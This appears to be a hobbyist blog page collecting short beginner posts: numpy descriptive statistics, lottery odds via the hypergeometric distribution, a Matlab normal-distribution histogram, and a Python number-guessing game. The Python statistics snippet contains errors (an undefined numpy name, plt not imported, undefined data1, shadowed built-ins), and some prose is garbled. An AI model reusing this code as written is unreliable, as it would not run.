Data Analysis in Python-Descriptive Statistics


# -*- coding: utf-8 -*-

import numpy as np

variance=np.var(data1)
#data variance

standartdev=np.std(data1)
#data standart deviation

max=np.max(data1)
# biggest number of data1

min=np.min(data1)
#smallest number of data1

percentiles=numpy.percentile(data1,25)
#percentiles of data1 # we find percentile 25


plt.plot(data1)
plt.show() 
plt.pie(data1)

# we show graph of data1 #pie and plot

Why not winning in games of chance ?

What is the chance ? Why some people are so chance? For centuries, people have been

trying to understand the chance.So far,nobady could find this answer.

People try to chance some games every day. A lot of american play lottery every week.

Now, I'll show's chances of winning lottery:

Score	Calculate	Exact Probabilty	Approximate Decimal Probabilty
0	*	435,461/998,844	0,436
1	*	68,757/166,474	0,413
2	*	44,075/332,948	0,132
3	*	8,815/499,422	0,0177
4	*	645/665,896	0,000969
5	*	43/2,330,636	0,0000184
6	*	1/13,983,816	0,00000000715

This Formula is called the hypergeometric distribution.

Tickets are going to invest your probability of dying>your chance of winning this game.

Now, in this game i will show you the formula showing a loss:

(The probability of winning X the money earn)+( probability of losing X (-)(the Money pay))

If this result is negative,you are losses.

We can apply this Formula all games. Good Luck!

Simulation of Normal Distribution in Matlab

randn('state',0) 
x=randn(1000,1); 
bincenters=[-3.5:0.5:3.5]';
bins=length(bincenters);
h=zeros(bins,1); 
for i=1:length(x)
    for k=1:bins
        if x(i)>bincenters(k)-0.5/2 && x(i)<=bincenters(k)+0.5/2
            h(k,1)=h(k,1)+1;
        end
    end
end

pxest=h/(1000*0.5); 
xaxis=[-4:0.01:4]'; 
px=(1/sqrt(2*pi))*exp(-0.5*xaxis.^2); 
plot(xaxis,px,'LineWidth',5,'Color','red');hold on;
bar(bincenters,pxest);
hold off

Number Guessing Game in Python

import random
answer=random.randrange(1000,10000)

while True:
    choice=int(raw_input('Enter a number:'))
    if choice<1000 or choice>9999:
        print ("Enter a number between 1000 and 9999:")
    elif choice<answer:
        print("Too low")

    elif choice>answer:
        print("Too high")
    elif choice==answer:
        break
print ("You got it")
